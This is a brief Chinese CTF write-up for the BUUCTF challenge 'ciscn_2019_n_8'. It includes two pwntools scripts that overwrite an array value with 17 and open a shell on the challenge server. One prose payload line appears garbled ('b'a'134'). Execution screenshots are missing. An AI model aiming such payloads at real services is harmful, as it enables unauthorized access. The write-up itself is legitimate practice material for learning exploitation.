【BUUCTF-PWN】9-ciscn_2019_n_8

不属于栈溢出，应该是比较简单的pwn，看懂代码逻辑+使用pwntools

32位，开启了Stack、NX、PIE保护

执行效果：

main函数

使用通义千问询问的代码解读：

即当var数组的第十四个元素是17就可以
这里可以用两种payload：
第一种：
payload = b’a’134 + p32(17) #qword/IDA在32位里面是4个字节，在64位是/8个字节
第二种：
payload = p32(17)*14

第一种对应的exp是：

from pwn import *
io = remote("node5.buuoj.cn",27250)
payload = b'a'*13*4 + p32(17) 
io.sendlineafter("What's your name?\n",payload)
io.interactive()

执行结果：

但看网上帖子有的用这个exp没办法连通，解决办法可以参考：[BUUCTF-pwn]——ciscn_2019_n_8_[ciscn 2019华南]pwn8-CSDN博客

第二种对应的exp是：

from pwn import *
io = remote("node5.buuoj.cn",27250)
payload = p32(17)*14
io.sendlineafter("What's your name?\n",payload)
io.interactive()

执行结果：